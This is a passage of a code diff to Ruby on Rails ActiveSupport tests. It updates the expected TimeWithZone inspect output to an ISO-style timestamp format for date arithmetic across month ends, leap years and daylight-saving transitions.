+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", (twz + 1.year).inspect
   end
 
   def test_advance_1_month_from_last_day_of_january
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2005, 1, 31))
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(months: 1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.in(1.month).inspect
-    assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.month).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.months_since(1).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.since(1.month).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", twz.in(1.month).inspect
+    assert_equal "2005-02-28 00:00:00.000000000 EST -05:00", (twz + 1.month).inspect
   end
 
   def test_advance_1_month_from_last_day_of_january_during_leap_year
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000, 1, 31))
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.advance(months: 1).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.in(1.month).inspect
-    assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", (twz + 1.month).inspect
+    assert_equal "2000-02-29 00:00:00.000000000 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "2000-02-29 00:00:00.000000000 EST -05:00", twz.months_since(1).inspect
+    assert_equal "2000-02-29 00:00:00.000000000 EST -05:00", twz.since(1.month).inspect
+    assert_equal "2000-02-29 00:00:00.000000000 EST -05:00", twz.in(1.month).inspect
+    assert_equal "2000-02-29 00:00:00.000000000 EST -05:00", (twz + 1.month).inspect
   end
 
   def test_advance_1_month_into_spring_dst_gap
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 3, 2, 2))
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(months: 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.months_since(1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.month).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1.month).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.month).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.advance(months: 1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.months_since(1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.since(1.month).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.in(1.month).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", (twz + 1.month).inspect
   end
 
   def test_advance_1_second_into_spring_dst_gap
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 1, 59, 59))
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(seconds: 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1).inspect
-    assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.in(1.second).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.advance(seconds: 1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", (twz + 1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", (twz + 1.second).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.since(1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.since(1.second).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.in(1).inspect
+    assert_equal "2006-04-02 03:00:00.000000000 EDT -04:00", twz.in(1.second).inspect
   end
 
   def test_advance_1_day_across_spring_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
     # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
     # When we advance 1 day, we want to end up at the same time on the next day
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.advance(days: 1).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.since(1.days).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.in(1.days).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", (twz + 1.days).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.since(1.days + 1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.in(1.days + 1.second).inspect
-    assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", (twz + 1.days + 1.second).inspect
+    assert_equal "2006-04-02 10:30:00.000000000 EDT -04:00", twz.advance(days: 1).inspect
+    assert_equal "2006-04-02 10:30:00.000000000 EDT -04:00", twz.since(1.days).inspect
+    assert_equal "2006-04-02 10:30:00.000000000 EDT -04:00", twz.in(1.days).inspect
+    assert_equal "2006-04-02 10:30:00.000000000 EDT -04:00", (twz + 1.days).inspect
+    assert_equal "2006-04-02 10:30:01.000000000 EDT -04:00", twz.since(1.days + 1.second).inspect
+    assert_equal "2006-04-02 10:30:01.000000000 EDT -04:00", twz.in(1.days + 1.second).inspect
+    assert_equal "2006-04-02 10:30:01.000000000 EDT -04:00", (twz + 1.days + 1.second).inspect
   end
 
   def test_advance_1_day_across_spring_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 10, 30))
     # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
     # When we advance back 1 day, we want to end up at the same time on the previous day
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(days: -1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.days).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.days).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:01 EST -05:00", twz.ago(1.days - 1.second).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(days: -1).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(1.days).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 1.days).inspect
+    assert_equal "2006-04-01 10:30:01.000000000 EST -05:00", twz.ago(1.days - 1.second).inspect
   end
 
   def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
     # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
     # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400.seconds).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400.seconds).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(86400.seconds).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(seconds: 86400).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 1440.minutes).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(1440.minutes).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(1440.minutes).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(minutes: 1440).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 24.hours).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(24.hours).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.in(24.hours).inspect
-    assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(hours: 24).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", (twz + 86400).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", (twz + 86400.seconds).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.since(86400).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.since(86400.seconds).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.in(86400).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.in(86400.seconds).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.advance(seconds: 86400).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", (twz + 1440.minutes).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.since(1440.minutes).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.in(1440.minutes).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.advance(minutes: 1440).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", (twz + 24.hours).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.since(24.hours).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.in(24.hours).inspect
+    assert_equal "2006-04-02 11:30:00.000000000 EDT -04:00", twz.advance(hours: 24).inspect
   end
 
   def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 2, 11, 30))
     # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
     # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400.seconds).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400.seconds).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(seconds: -86400).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1440.minutes).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1440.minutes).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(minutes: -1440).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 24.hours).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(24.hours).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(hours: -24).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 86400).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 86400.seconds).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(86400).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(86400.seconds).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(seconds: -86400).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 1440.minutes).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(1440.minutes).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(minutes: -1440).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 24.hours).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(24.hours).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(hours: -24).inspect
   end
 
   def test_advance_1_day_across_fall_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
     # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
     # When we advance 1 day, we want to end up at the same time on the next day
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.advance(days: 1).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.since(1.days).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.in(1.days).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", (twz + 1.days).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.since(1.days + 1.second).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.in(1.days + 1.second).inspect
-    assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", (twz + 1.days + 1.second).inspect
+    assert_equal "2006-10-29 10:30:00.000000000 EST -05:00", twz.advance(days: 1).inspect
+    assert_equal "2006-10-29 10:30:00.000000000 EST -05:00", twz.since(1.days).inspect
+    assert_equal "2006-10-29 10:30:00.000000000 EST -05:00", twz.in(1.days).inspect
+    assert_equal "2006-10-29 10:30:00.000000000 EST -05:00", (twz + 1.days).inspect
+    assert_equal "2006-10-29 10:30:01.000000000 EST -05:00", twz.since(1.days + 1.second).inspect
+    assert_equal "2006-10-29 10:30:01.000000000 EST -05:00", twz.in(1.days + 1.second).inspect
+    assert_equal "2006-10-29 10:30:01.000000000 EST -05:00", (twz + 1.days + 1.second).inspect
   end
 
   def test_advance_1_day_across_fall_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 29, 10, 30))
     # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
     # When we advance backwards 1 day, we want to end up at the same time on the previous day
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(days: -1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.days).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.days).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:01 EDT -04:00", twz.ago(1.days - 1.second).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(days: -1).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(1.days).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 1.days).inspect
+    assert_equal "2006-10-28 10:30:01.000000000 EDT -04:00", twz.ago(1.days - 1.second).inspect
   end
 
   def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
     # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
     # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 86400.seconds).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(86400.seconds).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(86400.seconds).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(seconds: 86400).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 1440.minutes).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(1440.minutes).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(1440.minutes).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(minutes: 1440).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", (twz + 24.hours).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.since(24.hours).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.in(24.hours).inspect
-    assert_equal "Sun, 29 Oct 2006 09:30:00 EST -05:00", twz.advance(hours: 24).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", (twz + 86400).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", (twz + 86400.seconds).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.since(86400).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.since(86400.seconds).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.in(86400).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.in(86400.seconds).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.advance(seconds: 86400).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", (twz + 1440.minutes).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.since(1440.minutes).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.in(1440.minutes).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.advance(minutes: 1440).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", (twz + 24.hours).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.since(24.hours).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.in(24.hours).inspect
+    assert_equal "2006-10-29 09:30:00.000000000 EST -05:00", twz.advance(hours: 24).inspect
   end
 
   def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_fall_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 29, 9, 30))
     # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
     # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 86400.seconds).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(86400.seconds).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(seconds: -86400).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1440.minutes).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1440.minutes).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(minutes: -1440).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 24.hours).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(24.hours).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(hours: -24).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 86400).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 86400.seconds).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(86400).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(86400.seconds).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(seconds: -86400).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 1440.minutes).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(1440.minutes).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(minutes: -1440).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 24.hours).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(24.hours).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(hours: -24).inspect
   end
 
   def test_advance_1_week_across_spring_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
-    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.advance(weeks: 1).inspect
-    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.weeks_since(1).inspect
-    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.since(1.week).inspect
-    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", twz.in(1.week).inspect
-    assert_equal "Sat, 08 Apr 2006 10:30:00 EDT -04:00", (twz + 1.week).inspect
+    assert_equal "2006-04-08 10:30:00.000000000 EDT -04:00", twz.advance(weeks: 1).inspect
+    assert_equal "2006-04-08 10:30:00.000000000 EDT -04:00", twz.weeks_since(1).inspect
+    assert_equal "2006-04-08 10:30:00.000000000 EDT -04:00", twz.since(1.week).inspect
+    assert_equal "2006-04-08 10:30:00.000000000 EDT -04:00", twz.in(1.week).inspect
+    assert_equal "2006-04-08 10:30:00.000000000 EDT -04:00", (twz + 1.week).inspect
   end
 
   def test_advance_1_week_across_spring_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 8, 10, 30))
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(weeks: -1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.weeks_ago(1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.week).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.week).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(weeks: -1).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.weeks_ago(1).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(1.week).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 1.week).inspect
   end
 
   def test_advance_1_week_across_fall_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
-    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.advance(weeks: 1).inspect
-    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.weeks_since(1).inspect
-    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.since(1.week).inspect
-    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", twz.in(1.week).inspect
-    assert_equal "Sat, 04 Nov 2006 10:30:00 EST -05:00", (twz + 1.week).inspect
+    assert_equal "2006-11-04 10:30:00.000000000 EST -05:00", twz.advance(weeks: 1).inspect
+    assert_equal "2006-11-04 10:30:00.000000000 EST -05:00", twz.weeks_since(1).inspect
+    assert_equal "2006-11-04 10:30:00.000000000 EST -05:00", twz.since(1.week).inspect
+    assert_equal "2006-11-04 10:30:00.000000000 EST -05:00", twz.in(1.week).inspect
+    assert_equal "2006-11-04 10:30:00.000000000 EST -05:00", (twz + 1.week).inspect
   end
 
   def test_advance_1_week_across_fall_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 11, 4, 10, 30))
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(weeks: -1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.weeks_ago(1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.week).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.week).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(weeks: -1).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.weeks_ago(1).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(1.week).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 1.week).inspect
   end
 
   def test_advance_1_month_across_spring_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 4, 1, 10, 30))
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.advance(months: 1).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.months_since(1).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.since(1.month).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", twz.in(1.month).inspect
-    assert_equal "Mon, 01 May 2006 10:30:00 EDT -04:00", (twz + 1.month).inspect
+    assert_equal "2006-05-01 10:30:00.000000000 EDT -04:00", twz.advance(months: 1).inspect
+    assert_equal "2006-05-01 10:30:00.000000000 EDT -04:00", twz.months_since(1).inspect
+    assert_equal "2006-05-01 10:30:00.000000000 EDT -04:00", twz.since(1.month).inspect
+    assert_equal "2006-05-01 10:30:00.000000000 EDT -04:00", twz.in(1.month).inspect
+    assert_equal "2006-05-01 10:30:00.000000000 EDT -04:00", (twz + 1.month).inspect
   end
 
   def test_advance_1_month_across_spring_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 5, 1, 10, 30))
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(months: -1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.months_ago(1).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.month).inspect
-    assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.month).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.advance(months: -1).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.months_ago(1).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", twz.ago(1.month).inspect
+    assert_equal "2006-04-01 10:30:00.000000000 EST -05:00", (twz - 1.month).inspect
   end
 
   def test_advance_1_month_across_fall_dst_transition
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 10, 28, 10, 30))
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.advance(months: 1).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.months_since(1).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.since(1.month).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", twz.in(1.month).inspect
-    assert_equal "Tue, 28 Nov 2006 10:30:00 EST -05:00", (twz + 1.month).inspect
+    assert_equal "2006-11-28 10:30:00.000000000 EST -05:00", twz.advance(months: 1).inspect
+    assert_equal "2006-11-28 10:30:00.000000000 EST -05:00", twz.months_since(1).inspect
+    assert_equal "2006-11-28 10:30:00.000000000 EST -05:00", twz.since(1.month).inspect
+    assert_equal "2006-11-28 10:30:00.000000000 EST -05:00", twz.in(1.month).inspect
+    assert_equal "2006-11-28 10:30:00.000000000 EST -05:00", (twz + 1.month).inspect
   end
 
   def test_advance_1_month_across_fall_dst_transition_backwards
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006, 11, 28, 10, 30))
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(months: -1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.months_ago(1).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.month).inspect
-    assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.month).inspect
